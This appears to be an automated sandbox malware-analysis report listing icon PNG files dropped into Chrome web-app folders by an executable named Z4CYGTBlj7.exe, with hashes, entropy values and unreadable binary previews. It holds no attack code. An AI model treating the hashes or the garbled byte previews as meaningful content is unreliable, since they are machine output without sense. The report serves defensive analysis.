Preview:	.PNG......q.T.y..W.H.....\\.........!..?..~9,~...^......9.=...i./.6O..1.LOP%..y..y..2..7.."x.....k.....#..p......Z.Y..,.T.].$6.a..[)..........c.2.r.hv.$.-T.....B.e..0...O..#..O....-..9C..V.6.,.w}Q.f>........x....H".....%(\.9V.o..i..e....{.. b#G.?..%nD.......R$..h.>.1.s...:.J...B..I.n.,o......-.1..m.AX..o3B2.....9~.v.5.[.@wzZ.G2.c...P...].p...#.H..+%......A.Y...Sf.N..\.$.[.)z>.d..c......9.!~y=.z..dB....Z.8d.o..........h. .............B.d.wT{...>!Y.`.....uU.p.[.jPv1...".......73d......^`9......n...y.\|.s...~)`...s!...W.[Dl.J..%`].@..\|,..n.u/.ANk..v..z.....!~1[..!..k....uu.y%lXp...Z...J.{.XT p.zA..+.#.F.p.%.,......a3.F6.hp..V..4_.j9\6..]....".......V.%....b.4"..........K...o.....Tp......B%<;<{o.=..B....QO..{.C5.B.4..a....oD.Tn..#.r.[...).ZF.qr$.fM..^e>A...,bK..#%.9../..,o`.md.w.w.'@%y.".[.x........./..4..Q......U.L.....K.W.j)1...C`....I..t.G.m~..VJyZs..AP...[..ni.M.0N..W.R......U.5uLt...\..~...9......M':.1.S.=........~.;.{YX.H...J.A.Ay.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.870815001324307
Encrypted:	false
SSDEEP:	24:S7C0UwmDJQK9t99Ob6K1AQ+292+agBdt4ZVneBkXEszTHtAmMoCYCQbHrkJouqnW:mCQOt99vkF92pIcne+Us3GqCQIIeYmD
MD5:	F74BCA460CE3C271C044DAD325572849
SHA1:	9EC0EE530B31DA2479FFCFB38533312C6B50B462
SHA-256:	9E65788843757A27CAF972838961D55AF5263A261014E96E6FA94C4ABE5BB111
SHA-512:	E889BE9F720B535F2065C15D800D887F5AFEE821A3AD55CBD2143F35C31FDB347D5C59E2E1FE09FD18ACFE27365AA6AF6168A3B355551626CB6F79E0DD5CE8F9
Malicious:	false
Preview:	.PNG..H..gK....I_..W...,@f..........k.O.GHiqL....#.3. .HKc.6y.B+..m.....l..%...J.r....W.m..v\Z...L..[.0;.@ri..H.r....OK."o...7.J5b7a.2..........c<..f.%t...-j..g.=.<..7.m.........T..l...08<.e,$.....S...@...]...K&9..M.u.......d.F...d.D@E.d-<........R.(..0j....bC62h...#..>...z.r....N..l'P..N.....\|.M9-pS.f..\._..T..T..{...H$.m9{.4.J..O...\|P@.t_..A.2h}.$.8..B.\|P.Fl...iJq..A.$..k.u=w/..h.F...H.............f.3..c.g...;..f/.7.._.l.Za.._5.C...v.v./..@.....4..-..b..E....3..O!UR.~(.L.&..:.?5<.=.A{n.'..U....$....\|wD..I....vu......p.....P.".+l.UmjGv.g....:E.A.9.?.j.n(.p...y.mH.]j...!....+.....4..6...f....;..N.O....k/..g.h.O.....-...].C....>..?fQ.?l4j..qN..b.z.LE.Nt..'X.K.6.U.V.;.'..H.C...Cok.,...NO..l....X.A..q9....1.....9.......h.5....\.".V....<a.C...J@s.6.?H.NxxQ.....O..*..Tu.....`..w.o.e>O..fx...N0.wH..iXl...fR.S..TP..yg......{H..P.....f...p.B.u..lJ.b.[(.I.A...=\.\6..............Q..-...v.#0..T.....g......h+2e:z.E\|.H..1...._...H...2.<...#...R..g.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	7.93037070942247
Encrypted:	false
SSDEEP:	48:JHli5XKk6bdzspexJQos8G15xoavm8s1CTpxwuwwiG/gZ12mD:lli5XKhhwpexKp8q9vmMTpxwucGoZ12+
MD5:	653821DD967EBA57F2477BC4E795933D
SHA1:	8810BA32189CC270F8EF5F8036B0114307C7D60C
SHA-256:	1E0B1E85D503B4CBB194A556A99737D1BD0831C98DB5158E3BA46B051FACC295
SHA-512:	7171C44C11CAEDCB51FFFD52A004DDDE6835BECE720651CC40B039EFAF4E27DF1FB308B4B61E71F7052FFA51E5BC89F2371F3B3D6A4A7FC63B05ABC1F6051641
Malicious:	false
Preview:	.PNG..bkT.F....\.5...2....!.5.\gZ.D.y.S,....6.h..b1'X...U..~..\|.M,.&..l.?.....4=.l.w..f..5.._"..B....d.%.q{.u......k.P4.vR.xWx.=V...dj.@.N.A..O.Sr.fV..I..o...,.[%.J$\C...u$.(.../.6.=r'.QJ...n.E3..z..=jR.#..2. .%.....<....(...q8Tm...6Q.k.Rq.5A;....8._...\8WE..z.j4^.=......s.b.....h.d?.FS..R...`BzZ]4..,m>..i.......?0....&.5.....o..v....twv...[.....kE6.+.D..;.....0.m...K.M.m..F$...l.[R..t3..fx..N....)a3.l..&.....1`.....Z.y.....\|......vn....:%...N.q..........SkbS...D.H\N..C2.`.g..[C+.]MCbWH6..........!..$7D 9).Y.Q..2.L....6.1@D....T5Q....cr.....ZA...[.e.r.J(:.m....82Qa...w)..A...A.;...7.oI...2.`.....Y..{hm.....n...y..q...H.......(o....uU.%'...q.&...s....0.NQ.=..3.o....\.......%.,..c.H..e.......3....O;!....Q.....O..L.y.G.8....9#...^qShO.D[..~..G.....9.......m49[b..h&/..}..K....W@...X...8..^l=#N~I..:2`*.r....7.0.x..{nF..>..k..\.&a(........v.R....A.I9..r#....<.W.Hk;{.HU....7.`XR.....r..c..mv,.5.uerh.ymE.H].....D5.'..s....h...w^sU..../........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4111
Entropy (8bit):	7.955498028011029
Encrypted:	false
SSDEEP:	96:u9s1ssYRt5GFWOPyqQyNJclUa4xJBFydC1crySim13b+aDonNBLA+:z1bYCWuyEJra4xJBF0taaq0+
MD5:	2CC055989CFB70076BFDEA41DEFBBEE6
SHA1:	D6BF71335B7674B47FBC3B36BF0ADF06975F8F50
SHA-256:	0EAE17571E803D4384E79473A33C63072C531C34F1B7A9804B54CFD425EC41CC
SHA-512:	48AE90F2AB3214C1616919A9A1CA42A89AF393866398E0192F69B592C33356386243E5ACA75C164F1BC10192A27FD2354C23BBBE536D8F5A41AFA237D443774D
Malicious:	false
Preview:	.PNG..UW.m..1..^.......c i`..z..g.y.....[.-HJ....Zm...\|.....A.A./..p.0.O.....FT~....].S\3#-N.e....y.>pq.......8<.4.s.Wi.]8.y......+.Q..t....Km..7d[....V..U..95.M...h..M(Ib....)...Q..+..!(..,...s)bA.ai.5.r.......Q....t.o.~...3m2-........m;.e{.k.#{..s.\|g0.........T<......N..?.....E.X`..-.`.8.}...1N(.(..p...C..A.&h...lL.q....k..~q....2..W.^..... P..\_!...,......N..}4zN.6..}.w....pl.jP/m.E..6.wb..`..W.J...g..e.d.....sKg.......,..G...8%..OC..=.#...d].....9..J...A.....d0DES.V..#...R_X.WD...Nf...Y.x...o.r'S....fy..~........n..\|.(B.I..0=.......~&.]%........)V..........!...Vi.l...Z-.GX.......s....3.`..!S.z)N.?.{.k....~........2=p..<.........j..J...a.u..........`.d.W.n.t#e...&...k..TG..N....6T.G.Z..x..3O0L.K.W....R....\....Al.{....aM..2:._.,.7.5.-=4...~.j.b..r.^.7.R..5I$...6.2........'%'..I.PI...L..,.J..z`.?.C...U..h....m..!.bp...O.....)a...H.n...N.Z..pr"...e..D.(?......F.:.b...X<.O).\...gI\|... ........7M5.m.."..S\|w?hm{q.nA..+..{...6i..L... .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7049
Entropy (8bit):	7.9677090122434375
Encrypted:	false
SSDEEP:	192:xgRQvSV5YqnMq5455Rx4fVXWl2JFCfP/5Cb+RpX57Pg3UvC2L+:xgev855MGmR6Vmkni5Cb+RJ57P+QC3
MD5:	13A25D0DAF38492B1677EED6D21A6C69
SHA1:	BDC4ED58DB0320697DDC6B64D603D1757126E64F
SHA-256:	D028430ED394508262CB782A9C46878F11D769FD5A5B5B8B1AA59B628609AD19
SHA-512:	CF1688EDC27F6AAE9CF2B15C642F7FE9678CD5D07DBE8768937F3EBA317D23AF73BCEC15B860F747CFD7D6EA168872D296D01D712DC7FF46674421AA05DE9948
Malicious:	false
Preview:	.PNG..a.d...@..........).n.C...R....1"...s`.N[..+...........Q....l..3.M.V.3...=.0.Z.<.....k.........;J@....3H.X..)>K.K .9.8..]......[....`1}w...P..g.s..d..r..e..,v....CoW.' Ux....1o.5ck]V.0.l.f...`..I....G,.FI.....7V.F..;...e..F...8C.+g..+.g;....Yx...C.T.]/Q.?.......6......L-...JQ.Dy......#.x.C....z.....\|je..QRT%\d...6....S7y:.x.JB.+=$.]....C.+P...K. xLI.. .+y7.h.5.._.B..]......E..".GX..V^..U.....}5...{X......l....wy....I1.\|..=...p..p3~.I...A...6......V.HY....d.-....3.?U."...ljv...L.}......w....n.{......hG...Nu..U.9..._q.""....o.......$,......5..RN....sp..>Z......i0....'z.(.L....h..Z..R+W.......~.!.7.....P..zt.....G.........6..........Q......i..pf.l_...Xd.tl\...^..T.il.b..h.R..3U..F.c...m.....c.x..-.C.h.......!c.Qj%.g[....... ..%..V.x..\.....5.2..^P..?.r..S..lMs.@J.`....O.l..?.p)y.QKI...OV..7....4...+.b....%.y....t#X.w.[g..#S.q...F....vP{p......F.-;#...j..u.PH.x...}..rd..}.Z....o..)...m...D.rV.>._..?Z.r..#F.i2..[......u/G...$@..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2642
Entropy (8bit):	7.925189669822111
Encrypted:	false
SSDEEP:	48:OGfyD2kZTFSEr0WyiqS/y6ujyFCs9vBD9eMVLwtHwwT33ohxObX+9mD:Ooc2W/Us9pDLaQsoHCXK+
MD5:	B8AD830E76560B6B93810B9610BA5995
SHA1:	EB2745A902ADD44128060EC9E33C6CEACC1752E3
SHA-256:	667F436864170A875CB8CF899A69A450C770D1437428C831A9254679B23D7862
SHA-512:	2A46B036578DD53DEAE4642B3CD9BBC813944A4F68C964F8BA8C77DFDC5E71DF4470903D5BC591CA4101EF71949AB3B482767098AEB6F2036014B7DEAB62E8CF
Malicious:	false
Preview:	.PNG....".....xp0...[_...8..w...].c[Q.R...7k$x.".j.$.D.....-."V.t.....5...tKxE.}..U..M.'".I.(.]...8...M.'..G?.....l...`...1.9./T...61...sl.E}....S.B.<.Uz...w..Vk..Q..d.ljA.,As. ..V.n......n.P.Z.j..8..._..B.V..v..e..I...Lc-..T>..`...e...l"...}..[..&....8......w..9...i`.(..ip......P.%y[......0w...Z..[M.vg@$....d..k..s..CQ..)..$b.&...w...L.N&..(.+..Zf........Z.........M..FzR..q.LF.IJ.7y.D..D...y....E{rWc.F...l..^.+...4.Y.U.8P.(@...G;.......}...d.jQ...y......2. .W. ..6.T..=...;........D...w.Vv..p..Gd.{..f.....trD;....,.M...J........5...9^..pi.{..x.U.1...shM...Q..s..&.5f..J...`.V.....xpSe.i.....Dn...{P..?....)p....."9..........=.6.5.U..:u.]7]`.J..'U.."G..9i...,.>..1....\-.#.MKf\A..RP.:....QV..1}....6..P..Ay.s.@.8...Fi.....#sB..H..bt.m.b..5.Zsr.2.QK.......z.N.A.....4..`.?.Oh...!.{.'....}........+J.'......1.1LQ-.6?3..%.NPqy..S..K....{..S.3.6..W4...J..G.w...."..q..q3m..C._......Y<..eY.........l...R..wk}P+<i..[....[<..oz`...,....u..*.t...t....?.z

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1629
Entropy (8bit):	7.884485985520213
Encrypted:	false
SSDEEP:	48:0sok6ET9bnwfwIQCb7RcUVBhHv8Z48vq9AOmD:0kzWBQh00Z4x9N+
MD5:	643746468B30DF99F09F9E545CBD305D
SHA1:	6436D26A7F5728B19BBEC5AF40227A2CE7C869A1
SHA-256:	653D82C30C279E03F52B6FBCD5E5F6F6677F8A6FFE6064BD9F12E596B95DC5FE
SHA-512:	B10EE29A775204FEA60128789697D6F2E3FA9AEA5C7758C99FA3E543A6D1852A610A36C9244D9C558D8A49D28860B169F2FB8B05F69166D002E59C074D55E5D3
Malicious:	false
Preview:	.PNG.Xw+.j%iX.X"Y........P.zl..F..).4...Ie&.l;m0.ZB0..!\.C.......V...!....b........x...n.@.^t...~M.[/e.;./.(./-."uOG..R.r..../W.....VV........o.r....A.G[X&..+n.....3...]...e..k.X6..hD..BS.U.c`..W..?...fQj....t..64.."...j>b..Ji.}..`.F........Pn.uz.;...T..;.&zf.....(...([.^....S.5.B..c.,...O:.w..-!."o.B..v.....F......C..........'u..+y..p1.....e..d...c.......rq./n-.4BO.eJ...".P=.0..b..N=7VjLXU.]........D.'.G6.._j}\|.s..v.T.v6#xi.......u\|.U.L..h...d".?.ZC./.Z..f7....pv.l.v..f"...6.g{Ro..Z/.&.....B...r.t..... n.Q...K.].J.H./.....oX.uz3...s.i..3......&.jF>.~.r..Q...,...Z..Q."~....1....LX.q8..G.Z...C#u...H...+.{s.f~....Yt..9...g..c.Gh.kP.yH..S.}....n$..NU.F.\|...rh...^..9O>b.4`D$L.Oc...C..n.Up.^x...7.....W.4.]....a7.y_.........n...C...5k.....o"Sn.4P.$...O..Sap.D........z q.b,.1...j6&%w....7.n\.+.u........O..;J.. l.......~........Z~d\.....e.&...O[.~a..\|.l.2I..g.zo.-".;_.?*^.^.>T..?.DcRLE(.I..W.d.g...e.....N={:....>.-4..W{z{..=.U.)@..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.967814038893072
Encrypted:	false
SSDEEP:	96:TeC15fu0gqH6vZ4epsaUKOOsWzPopSNlDr4T2E/J45ObARxjvUChEXSf+:Tf5MTJpZLsiNlG7/y5OERhvUBXSf+
MD5:	D7FE0362D355E7516B8F4CE53C77EB2E
SHA1:	BFB9496B2A0812D632498CD5F4B314220B2F4B36
SHA-256:	EC9A775A12FB9A09CFB39E0289A7BEB5610627A39243BA196BA2E7C9370CC8CF
SHA-512:	E35B6E259D30C0382E3FC6430F7FF2106539135B9BC0115CE2E8C5C604C515C6B8CB4F2DA3DBB2AF57D69CBDDB5266C0AE386B978745A0DFA5CD3FE26027EAE4
Malicious:	false
Preview:	.PNG. ........z....0....%V...8;.)...........c...=.S...(;..mG>Aj...T%y.A1.O_.[.K..C7 .......w..M.[.[t.x,t..;]"(.a...U.f...b$.......t....,.;..i~..r@{..j.g...G...z;2...4l....\......R...B..........Qk?...b.....u..L...........X_.K@.Q.6...c/F..d..k.}...'......G3...-<.%.......z...q.+.3B;...l.....<5..j...3.5..r......o< ....F&.\..._OV}4py..xt?5y.:`.t..3.F.@?...')....HEm.F....@..d..z2:n.J..R.......0$..............=.(?.aY-.@.!..[X{&.!`W..kZ..~..av.T!....-...]:yX}7L0.g..O..-2..K.d.I.3.Sc..%B....".F-H.n.+.<q.QY.[.#^..yP#....G..Q....:.p.^......hoR}...R..:.N.....1]u.2........%7....qD.7;.........5.4.E.N..r.........p.q....4..i@........M..n".C.J......@.r2w...1..!....].v....Kx^.2.V..>z.....p.......b........Lk....h..i.Hu^gs:...S...%.u...."Lx........:.=....Lj....'.... .[.l.L.....Oa...%..P..l.M..5)./.?......+J..H..3.3A..(...A.Ob..E.kWu...k.a^(T..$..<T..m...^.3..[...@I.(._...:.$.-...<I7E/^R.0...Cl........z.K*..a..r+...I..0xR.lI.....=..<.8t"A.7..`.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.848989594736177
Encrypted:	false
SSDEEP:	24:VZ7oaf3ifXa/ZpMGfa/zp5ee7/oYYN6ujJ24deyOPvD2ZZxD0NNsP41LtJsbD:wafzZ567t/VIHjxdN+b2V03sSLtJmD
MD5:	EBB7CAC4F8C8B08BFE4348DA64797C75
SHA1:	C9D4AEC193AFDBE716DEAA6AF07BB2CC67305192
SHA-256:	5BFEEB0FE72A255B31378735351F41A8A570D00E6F9CFAEE1B74C7EA1F422016
SHA-512:	0E34A008317D90924C0EDE242A42C5EA3C095D1BA0EA079ED4FE21F97352F95247E9E7B570E469B7347B3E3FE9849B1B78EEF975DE1F80B089A32EDD96050FCE
Malicious:	false
Preview:	.PNG...Y3..^...[.Y..\|..`t...VJ.M...E..<!.X..C.5dm..v...........h....~Ab.&.%J..kX.6U..#...6./.+.79s .ol1]..)r=emr..d<V.j.Im..Y.q.z./Q,....#08.\w..........6[...c...oV.Fz)0.... }G...'.Hv..`.~.C....{.u.Z....2..8..NZ#.a....#vV~s...A....J...Y.&......T{W....'..w..-.N.N,n.DN...9...O..q........L!.?./\.+-Y.t..=.oA...NW.p3^-d.gu.-.+L.Sf......a#....c..g.2-...t..........z..'.......OT..5..0.~... ..C:.o.!...l.+6...vn....m.&.. G9:+O...\..}/.UK}..}.+....Iw.~2..Jw5..F..f_D".l....w.u..$.>.... ..b5.[..$..].7..JjN...2$.76....o.u....u.d,.....=....O.oj&...^...K..&...~....7..."0.5.......a....\|..gey.a9....g..(..XY...GDts@k\|]G...X.j.o@.O."...e...q ......@.l....#6..l....H...I.J.PT..^.9.~.[N..TLV.t.....>{2........}@a.. .e...Oq....b.-w^Q.V{O..V...tG#Q}v.V...W.p.[...%r\;.y.!....9..G].](F}.WD..'....H.g..>).:.w.."L...;..v70.....G\|........]C. Rr9..n.D..3...6......e.......>Q7.TK.r.....Q..m...&s..%.z$.._.Ka=.5..q.k.PN...h$.RE.........Y.\...6.;.]..n.t.....h..N

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.899514229444057
Encrypted:	false
SSDEEP:	48:fdQP7DuS4twaaqCpAcveQuZJ8YNM8uxAspKx0PmD:fU3baoqxcG56AsYyP+
MD5:	8D0F9F847BC250AC40E362C6DCF65D98
SHA1:	8F2446ADEBA268228A7D4029A4C851B6DB307D44
SHA-256:	F0E5A150F59E30074E8FA23C4A56ADB332247D53324C17F3E9AD0D95B6499547
SHA-512:	5A0BE1F47E48C61D488803AB39DCAF2565581D66C6C17468DF4C492217461CF9251003BFF7CA70390EFF8BBAC4716DA6D4BD337250541B841FBADA186448629D
Malicious:	false
Preview:	.PNG..e..r.^.t.....}P...A..3...c>&..z.....d...\|Y7=....%G?....G{.FB..B...n....n..d..o....UZ....;i..a.A-..%iK...bv..,H...]..Q..........=....a..I.&.d.z.O(.+.V .C.....ys.......=Q@._...2Z5/.....Z:x.....T.S\.%=.K...0...vA...E.A...i.'..nV........@.4.......\|..b....X~)d.'x+W......5&..e.M.....XI.N.A.7dd{hgV........?..1..^HP.t......w.SA..&...[k..Q.........n.@$.8...OT+.(.. .<..#..4....Xx..0.........^... .P.K.+[....F;.q...j%S..1.. N.t. ...0.?..0..y.....Ca2...l..>.b.E.)..._nct.:i...(....P...........#s..g.-<..7}X.K.V..-Q......q$Ud.c..0..y.b._/...`..(]L"t...Z..G5.6g......q...U..l..Y..`.&.%...=.......t$....'....k..?.......Of"&:.m...t..L+q...[.a.....\|...K.$....C.f.....a.<..........`.xr;.>pN..y.+r..+\..[\x..b..M....V..C..U....2.....}.....j.....d.H.D9.{$.j..?/...Y%R..._....Z....8..:ay.j.......J....J4.I+.{.H....R...H...)...&.~..k...._..R..:....rT.1.5......y..e../...[......Z..;.^.}.\|.b....6z.">h%..h.Uo...9ex.j./.y.d.gk5W.;....(:e/^../.............2.`H...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	7.893104324145003
Encrypted:	false
SSDEEP:	48:vh0yyuGzEWwUHSyAcuypne/gihFHuGSG4m8uZVjRuxmD:ZdIV9H5Ak1i69xuZO+
MD5:	1DFA4A1137EC32E2F6C0481B76EAF71A
SHA1:	58F0F3CD2C122EF182DBDA28AB0CEFFF6C88FC78
SHA-256:	1E8A16EEAB13630202417737E870F2C2A62215E5D75C0ECF9C807091A0A91FE6
SHA-512:	6D2D30B6E2B45EDFB94E9CB1248DF22ED4F48665DB351FC4C7D9DF79BA112D1E465E854B6BD71AEFFE8BDE13811A4334F003FFBCCC386177822ECD6B0895B76E
Malicious:	false
Preview:	.PNG.......4A.[.Z..yh.Z..hV-^.w.\|..4....T.uA...:.\|....x......>.,#e\.t.C.#.T s....?..fw..tV..}....G...H.<..\|\.).-w+.v.....M]...Z....}+.e.6"(6.V,.wt..d......d..r.U..W..)....}..$..s"......X.A.....7......5.P.t8....+.@...1FBv3....Y.yO.....q.#l@....@.....~0.3M....%.5.6..}._0}...8...m.._H...n...7.Mo.a...Yf..}.P.......\g......R.v.. ...L.V..Wt.]....%.y..i..j3H(..\..A......)n....9..c.&..L..V!.XSWJ.%..bm...3.j.D.......i....e"..._t.{.R.0.(}^.A..<Qk...8)&<=..Y.........K......C..A..\|.\R=R.......T.&#C..@bO....[..,..K...fz...s..Ys....22Z...k4......(7..%Ev.cL........AH..o....cy....H.@.TP.`.{5..._.:I...p....[....Wv-6.?.........mr............`.%.% .N.).&p.....P..........;.....r.G.k.-=...._........&..@?.\|!....X.?[o,.....r;....B.qy,.lW.+>.#V....U.X...s...S...;9..B..\.....D..\.m]...t2.L.h.`.C.@.")....Dl.o>.......N..KX..tY.?...T).Vnh.`.C/\......k.i....".'..........D~......UL.d2.q=zJS.T.. s{.^J...>....5..8.k./...G0.?x.=..&.........0.b.....4..A...1...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.90942109441665
Encrypted:	false
SSDEEP:	48:01uqJq7NYCfqMU4aotOhUFzl6aTNwlT6Qc3EmWMV6G911hq5KgmD:DqJqPm4aotOUFzg6a4omZfg+
MD5:	4872A064AE46525E8EE15344A8FDC9FC
SHA1:	95C9417C61C7FE5C17059EE047165F9C98E3674F
SHA-256:	FF1FC0DD7782898FD1F58B1CF540FFCC97D56D71EC81EFAAD75AA7C5B4EEB79A
SHA-512:	6AC19B4C6F03ED4C700C194F70F745CE726FC9A274F21422CC2E6D225EFE545AC1A052EAEE04915AA94D1382922E4923167A05F033B87FC60A70161153A33C1D
Malicious:	false
Preview:	.PNG.s.Wh.......A.QO..~..]..7.~\.\|O'U..~.X:\....uD.N.&.SR.!..b.......e.V/.p...I..4..0......^ux.-Kh..l..%......$I.....N]c.w..z....I...\........!N.w.....5t...J....!Hl.!%g..GHw7.).f.hB.Z...G......F7..P.0.....1%U,..\|#..N'...t....L3$4`u2t.....kRk7P ._..3.6.+...\|......ie`F..G.......{.-...,u;..[...J.NV...)kl...}3.#....../9.b[.mf.\.n{..0...\|.BK....<,J"....O..g...6.Mc(.@...h..Eus..C...s...I...+.18quGU^g..j..L<....h.\..K......"K.O:.?+@b.JX1.2.tu....."g..O.='...p.....N...I.a.. !.<....<r>..&.K7%DK-....1.uvn%../?..\.zi..i.o"........P.......@g.<.%.F..a,.......>a.3&..^.....aX....ng..@..............h...)..X.Wg4.J......2...s?u.Y.q.m.{....[w\|ro.....a..../..j........d...S.....Nz;..kT.dCDC..=........=..C.fJ.f....j..{.(.0c.V....;1...k....H.........@..8..+.A...p...hd.-.H..Di....4......7........;.\|.......{'....H[L..c.(Y.;".u.V..&.J&....{.......)....&.".&..i.V ...t.+4...%p..E.l.v.d.N.BN...........E[...n....J...~..\|s..p...g[<..f.wN.X....v...% ..\.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5710
Entropy (8bit):	7.965641775200567
Encrypted:	false
SSDEEP:	96:Oi+RRpA6rjmkgIBINPQ4wJpNpUk8c5kQFTnNFuZEQRSIXJ/v67+T2d9ckINM+:G/jpyQ/pN+UlnNFuZdXJqCTq9FIi+
MD5:	A123D20C711DCB5FD5A4931EBB9C50A6
SHA1:	78473C4879D45F1E798DBFC6E15D9AE1C9A088F6
SHA-256:	0EFC6842C1A74D7C847F0CB45A86A9AE348A69C0567489D45A69079021A04F44
SHA-512:	0FFC48F553C44A4873B59764F19DE4E5BD54843BCAC1089812E004694AEB74E54D53D4CDBDEFA32BB02DD5E7936F4812D4F8C5C73AFDFD5CC800C44B5124BD26
Malicious:	false
Preview:	.PNG.$3...K..-q+. p.. ..K~......4...Sa..9P.xP........`.+...j....U%.+....[y....J...2]...mFU...,..9.J..J.... t).5c.8.s..Z....D&...@.1."../....Y(.....k5K...s.c.y..&.2c........g.......C..hIuT...._((.f..E.M...1..\..p,.p......O.8.TsC..?. ..dq.1...U.tz....(..:p..Mn.1....I.A8.L.D..'@A.Y...m...%.-Y.X:.L.....+U...a..b.A.9.;.FKGG.].....O...I...$...T..x...........f.IK#...Z...q...9.........]D\|.....r...H.....E9.f....:.k{....A\|......'.\@...".B`..sL".D8..:Q...n.Q2.....5Y.u...e......Ev....Go.b.N-..`X^k.e.^........)xCK.....lY..d.7h.A.G...94].;.>..7.`2......Sg9=...C.....s....cqF+....Ju.XI`.H.R:....,...b.....W..;..>..pN.TGh.G&...B..=......7..7.1......b..~@..>.>Y5.vL....."...1p..3+..t).o>R.....r..?G..Ux..3 ~.8Ww.%7..^..p.<..KG..9#.`.k..w4.m.2.....o&.r%..\....Sf....{..9.S...j..x.....x.C...#.....c...S?....Y..Q$...E(......;..........yU..j.V..C?UV..w{...z.,S.}Z.\|"..^..#..........\..+...i......4'C....<u.e..q..5.6.....J.O\|@....^.-`..y......}...*...ywD.S_.M.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3253
Entropy (8bit):	7.935414299256662
Encrypted:	false
SSDEEP:	96:mmN3AFl3QJE/pSG7botDTl43lAnCBKr1FqW+:pFAFd/AAcBTl41OC8J+
MD5:	55392060B6587AE2E4FCCE9B869D66B6
SHA1:	099E291CBA5C4FF5229DDA4C1324F5854170F8F5
SHA-256:	934816D58FD952785B84E8CE3111B153E5DD8130285FAE76EE09380C66D43B33
SHA-512:	B6EAA0134449FEC978B2AED29A0EA9DF851007C6DE9A369F76C29C3DEBF37D6B0A587A7B94073C3C736CEF821E12675F0093F767F129072D431D6CCD84053874
Malicious:	false
Preview:	.PNG...9..w..2.Q....(.6..(..#.^..I.e.5...)....<c.......&-0..e\.!.1..Li.dA..5..>}nD...8`F{...$.\`(.}.Q..;......f.(7T..>U.. .g>..,n..>.....W.+.<..u..BWu.+-/..PY....iH...Q.Vc...P;..]..h.U..M\|...1G..'............o..s.K8.L.io.A/.kh....... A...`9d. ........w.OE.Z(B......QU$..t\..E......@@(.o.Y#..Tc..'........;}..'Y..P..uEq.\.....IX.q...i...$....^.......`.T.=...\|.v..\'ipT2.feP...Qm....B....}.......".n($.XB.v.mB.;}.b.~...5....7j.B.xV.&..k[.Xd..l...`.....m..S".c...8.]..*.0..Jw.... .d./. ....A>...$k.@.8.H.7Y+Iu9....: \.F5.6.a..a.~vG..(...mP}O..}E..{9G@.D...5Q.O#....fTc....b.....BM.7.8..Zd[8.u.....U.....U.;n1.O%.]...i..).b.C. .=>.......k\.[..)^].7.h....c..&-."D.....+..w/..Ub...?..A...$..@v.]`.J1\|....D.../eD....T(g.. .X.. ....k.:2....a...L...5..: .....&_G\|.!S.K.g......J..P..E0......WEk...,#..\|...wS.)T..........p....Q.>.\H.,\|...Eb.n...J..._;.w=....]d...1...z...`..#..I...$...q......H....1p..i4..;..2q.T...2.&.9...o..'......3.8.7...../>.....=..$w..Q....z90..p.Vf

